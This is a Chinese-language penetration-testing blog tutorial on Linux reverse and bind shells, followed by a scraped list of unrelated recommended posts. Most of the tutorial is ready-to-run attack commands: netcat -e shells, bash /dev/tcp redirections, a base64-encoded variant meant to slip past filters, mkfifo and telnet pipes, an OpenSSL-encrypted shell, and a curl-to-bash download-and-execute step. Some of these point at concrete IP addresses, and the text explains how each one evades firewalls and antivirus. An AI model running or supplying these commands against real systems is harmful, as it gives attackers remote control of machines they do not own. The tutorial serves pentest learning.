文章目录

  • 相关博客
  • 反弹shell介绍
  • 常用反弹方式
    • NetCat(NC)反弹
      • 正向NC
      • 反向NC
    • Telnet反弹
      • 正向shell
      • 反向shell
    • OpenSSL
    • Curl

相关博客

  1. Linux信息收集、渗透测试常用命令: https://xunmi.blog.csdn.net/article/details/114970239 (如果你不了解重定向标准文件操作符一定要看一下此博客这两部分,要不然你可能无法理解下面反弹shell的命令原理!!!)
  2. Linux常用提权方法: https://xunmi.blog.csdn.net/article/details/115187418
  3. 渗透测试常用反弹shell方法(如何渗透测试反弹shell?: https://xunmi.blog.csdn.net/article/details/115458490

反弹shell介绍

反弹shell主要就是让我们能远程连接到目标控制台并且下达指令,来达到操控目标资产的目的!
反弹shell分为:

  1. 正向反弹: 控制端(也就是我们自己的机器)发送请求去连接被控端(目标机器)的方式。
    不过这种方式会受到防火墙,路由,等各种很多因素影响,很难成功。
  2. 反向反弹: 被控端主动发送请求连接我们的控制端。
    这种方法是可以想办法避开防火墙和路由的一些限制的!

常用反弹方式

测试机器:

  1. kali: 192.168.1.200(可连通外网,我一般用他作为攻击机,控制端)
  2. contos7: 43.128.11.131(腾讯云的一台vps,我一般用他作为常规服务器,被控端)

NetCat(NC)反弹

无论是Windows还是Linux都是可以使用NC进行反弹的。

正向NC

正向的时候,我们需要先在被控端开启指定端口的监听,然后在使用控制端去连接

# 被控端(l:监听模式,p:指定端口号,v:详细信息(这里的信息指的是指令执行过程),vv是更详细的信息)
nc -lvvp 端口号 -e 使用的sh
# 比如:
nc -lvvp 4578 -e /bin/bash
# 控制端
nc 目标IP 端口号
# 比如
nc 43.128.11.131 4578
# msf的攻击载荷(不太推荐使用nc作为msf的正向连接工具,稳定性比较差,一般只能上线shell,很难获得稳定的meterpreter)
payload/cmd/unix/bind_netcat
payload/cmd/unix/reverse_netcat

反向NC

被控端反向shell种类非常多,可以使用在线工具生成: https://weibell.github.io/reverse-shell-generator/
下面我会详细剖析一些常用的被控端反向shell的命令原理!
使用正向shell的大多数场景是已经在目标内网中,几乎不存在太多安全措施的情况下,一般不重视如何绕过防火墙杀软之类的检测。但反向shell不同,一般反向shell需要攻击的目标都是和外网有之间连接的机器,这种机器一般都会有一些安全措施,为了防止被这些安全措施拦截,我们可能会用一些花里胡哨的方法来迷惑安全措施。(如果你看不懂这里,则请先看一下我的Linux渗透测试命令基础博客!)中反弹shell基础那部分的说明!

# 控制端:
nc –lvvp 端口
# 被控端:
nc -e /bin/bash IP 端口

一般直接使用nc反弹的shell并不是很稳定,并且可能还会出现没有-e参数的情况(-e: 程序重定向,一但连接就执行,这是一个危险参数,所以可能目标nc会不支持此参数),这时候我们还一些在被控端执行的反弹shell命令同样可以自行,并且是完全兼容控制端nc的命令的!

# 其他反弹shell命令
# 最基础的命令,下面有详解
bash -i >& /dev/tcp/IP/端口 0>&1
## 这个命令和上面的是等价的,只是写法有点不同!
bash -i > /dev/tcp/IP/端口 0>&1 2>&1
## `exec 5<>/dev/tcp/IP/端口`这里自定义了一个文件描述符
## `cat <&5`这里是读取我们自定义的文件描述符文件,并且使用管道符传给接下来的命令
## `while read line; do $line 2>&5 >&5`这里是创建一个变量line,然后读取上一步传来的数据中的每一段然后在将标准输出和错误输出都重定向到我们自定义的文件描述符5中
exec 5<>/dev/tcp/IP/端口;cat <&5 | while read line; do $line 2>&5 >&5; done
## 这里和上面类似,这里创建的文件描述符是181,并且在一开始就将输入重定向到181这个文件描述符中。
0<&181-;exec 181<>/dev/tcp/IP/端口;sh <&181 >&181 2>&181
## 这里和第一个命令一样,只是多了一层base64的编码!
bash -c "echo YmFzaCAtaSA+JiAvZGV2L3RjcC9JUC/nq6/lj6MgMD4mMQ==|base64 -d|bash -i"
# msf攻击载荷
cmd/unix/bind_netcat
cmd/unix/reverse_netcat



如果目标机器/dev/tcp也无法使用,这可以尝试使用下面方法!

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/f
mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe# 使用msf生成
## 比如
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.1.1 lport=4578 -f raw
mkfifo /tmp/ysngi; nc 192.168.1.1 4578 0</tmp/ysngi | /bin/sh >/tmp/ysngi 2>&1; rm /tmp/ysngi
  1. rm /tmp/临时文件;mkfifo /tmp/临时文件;cat /tmp/临时文件 | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件

    1. rm /tmp/临时文件: 首先删除临时文件,以免造成冲突,(后面的分号;表述依次逐个执行后面的命令。)
    2. mkfifo /tmp/临时文件: mkfifo是Linux中专门用来创建管道的命令,具体作用如下图,我们可以在一个终端中创建一个管道符,传入一个命令后,在另一个终端接收即可获取数据(使用重定向符<的话可以持续接收!比如cat < 临时文件)。
    3. cat /tmp/临时文件 | /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件
      1. cat /tmp/临时文件: 首先读取新创建的临时文件,并将内容通过管道符传给下一个命令
      2. /bin/bash -i 2>&1 | nc IP 端口 >/tmp/临时文件: 先将上一步获取到的命令在bash终端中执行,并将结果通过nc输出到目标,并且将目标的命令重新写入临时文件

    msf可以自动的快速生成这种命令!

  2. mknod backpipe p; nc IP 端口 0<backpipe | /bin/bash 1>backpipe 2>backpipe

    1. mknod 设备名 p: 创建字符设备文件和块设备文件(类似我们插入u盘之类的那种设备文件!)这里的创建p表示创建 FIFO(已命名的管道)

Telnet反弹

telnet命令: 用于登录远程主机,对远程主机进行管理。他是ssh前辈,但因为安全性方面远不如ssh,甚至直接是使用明文传输数据的,已经逐步被弃用了。但我们依旧可以尝试使用它在一些仍然开启Telnet服务的机器中尝试反弹shell。

正向shell

# 攻击机开启两个端口进行监听一个用于输入,一个用于输出
nc -lvvp 输入端口
nc -lvvp 输出端口
# 目标机
telnet 47.101.214.85 输入端口 | /bin/bash | telnet 47.101.214.85 输出端口

反向shell

# 攻击机
nc -lvvp 端口
# 目标机:
rm -f a && mknod a p && telnet IP 端口 0<a | /bin/bash 1>a
rm -f a;mknod a p;telnet IP 端口 0<a | /bin/bash 1>a

OpenSSL

SSL是安全套接字协议,而OpenSSL是Linux系统中强大的安全套接字层密码库,具体他的用法这里就不介绍了,下面只会提到和反弹shell有个的一些内容。
首先我们利用此库反弹shell,需要生成一个秘钥文件

# 生成秘钥(在我们攻击机上生成的)
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
# 在攻击机中启动监听(在之前生成秘钥的文件夹中执行)
openssl s_server -quiet -key key.pem -cert cert.pem -port 443
# 在目标机器上反弹shell
mkfifo /tmp/s;/bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect IP:443 > /tmp/s;rm /tmp/s

所有选项都可以选择默认的(这里我就把地区改成了我认为的中国,不确定是对的,但不影响)

Curl

没错,这就是Linux系统中的下载命令,因为有时候可能我们拿下的webshell有一些过滤机制,会把我们的反弹shell中一些关键词过滤掉,导致一直反弹失败,这时候我们可以尝试使用这种方法来执行!
首先我们需要在公网服务器中创建一个index.html文件,并且在其中写入反弹shell命令,然后开启http服务,并且开始监听之前的反弹shell命令指定的端口。

# 攻击端:
echo 'bash -i >& /dev/tcp/IP/端口' > index.html
# 比如
echo 'bash -i >& /dev/tcp/43.128.11.131/4545' > index.html
# 这里&是让这个命令后台执行
python3 -m http.server &
nc -lvvp 4545
# 目标机:
curl 43.128.11.131:8000|bash

渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Linux篇(゚益゚メ) 渗透测试相关推荐

  1. 渗透测试常用文件传输方法-Windows篇(如何向Windows服务器中上传文件?) (゚益゚メ) 渗透测试

    文章目录 文件传输 certutil BitsAdmin Powershell SCP Windows文件共享 文件传输 文件传输在渗透测试中主要用于将攻击载荷上传到目标主机或者获取目标资产使用. 下 ...

  2. 渗透测试常用文件传输方法-Linux篇(如何向Linux服务器中上传文件?) (゚益゚メ) 渗透测试

    文章目录 介绍 攻击机挂载文件 Python脚本挂载 使用阿帕奇服务挂载 传输文件 wget curl netcat sftp 其他方法 DNS传输数据 介绍 文件上传一般分为上传和下载,下面我所指的 ...

  3. 渗透测试常用反弹shell方法(如何渗透测试反弹shell?)-Windows篇(゚益゚メ) 渗透测试

    文章目录 反弹shell介绍 常用反弹方式 NetCat(NC)反弹 正向NC 反向NC mshta.exe利用 msf利用模块 方法一(msfconsole) 方法二(msfvenom) Cobal ...

  4. 内网渗透-常用反弹shell方法总结

    常用反弹shell方法总结 文章目录 常用反弹shell方法总结 前言 bash反弹shell nc反弹shell 1.nc弹linux的shell: nc -e /bin/bash 1.1.1.1 ...

  5. python方法测试_python 测试常用小方法

    python 测试常用的小方法 def xia_to_tuo(src: str, firstUpper: bool = False): """ 将下划线分隔的名字,转换为 ...

  6. 测试分析设计工程方法

    产品的测试分析设计包括:测试需求分析.测试方案设计.测试用例实现,这三个阶段.测试分析设计工程方法是针对于前两个阶段的,现实中往往需要灵活运用多个工程方法,重点需要掌握各个工程方法的思路,在实践中不断 ...

  7. Linux常用提权方法 (゚益゚メ) 渗透测试

    文章目录 简介 常用命令汇总 靶机环境 Linux提权方法 Linux提权漏洞利用 脏牛(Dirty COW)CVE-2016-5195漏洞 CVE-2019-7304漏洞 CVE-2019-1327 ...

  8. Windows常用提权方法 (゚益゚メ) 渗透测试

    文章目录 提权说明 Windows提权类型 准备工作 手动配置漏洞 提权 msf常用提权命令 Windows可信任服务路径(不安全的文件/文件夹权限) 漏洞产生原因 利用条件 攻击演示 MSF载荷 不 ...

  9. 渗透测试常用术语总结

    作者:@11阳光 本文为作者原创,转载请注明出处:https://www.cnblogs.com/sunny11/p/13583083.html 目录 题记 渗透测试常用专业术语 加更:暗网 转大佬笔 ...

最新文章

  1. mysql数据库比对视频教程_MySQL数据库全学习实战视频教程(27讲 )
  2. [彻底理解]JDK1.8 函数式接口 Consumer Supplier 以及 JAVA新纪元 λ表达式的到来
  3. 个人所得税计算,计算器.
  4. https ddos检测——研究现状
  5. 使用JWT进行跨域身份验证
  6. Android之监测database的改变--notifyChange
  7. java对字符串归一化_搜索引擎中的字符串归一化 | 学步园
  8. OpenCV辅助对象(help objects)(1)_TermCriteria
  9. 详解如何修改Laravel Auth使用salt和password来认证用户
  10. python飞机大战创建多个敌机_Python 项目飞机大战- 03 游戏背景和敌机出场
  11. 支付宝核心工程师谈如何成为一名优秀的程序员?
  12. 2014ACM/ICPC亚洲区西安站 F题 color (组合数学,容斥原理)
  13. 无用小知识-递归的使用
  14. .Net4.0的网站在IE10、IE11出现“__doPostBack未定义”的解决办法
  15. 看JAVA是J2EE_J2EE学习路线图
  16. [BZOJ]4453: cys就是要拿英魂!
  17. 系统设置中 语言设置,中文或者英文
  18. 计算机应用基础自学手写笔记,计算机应用基础第一章笔记.docx
  19. 百度地图修改底图样式
  20. Linux | 将文件移动到指定文件夹中

热门文章

  1. 百度大脑事件图谱:洞察复杂世界中的事件知识
  2. mysql生成随机验证码_生成随机验证码图片
  3. 为什么计算机中负数用补码表示
  4. Linux 命令学习 -磁盘分区和格式化
  5. Caused by: org.springframework.beans.factory.BeanCreationException: Error creating bean with name
  6. RabbitMQ 之发布订阅模式
  7. powershell进行内存测试软件,Powershell 获取系统可用内存
  8. matlab中 晶闸管整流桥导通角_逆变角如何设置,MATLAB在电力电子电路仿真中的应用...
  9. 银行首席信息官如何利用RPA改善客户体验?
  10. android 设置html字体背景颜色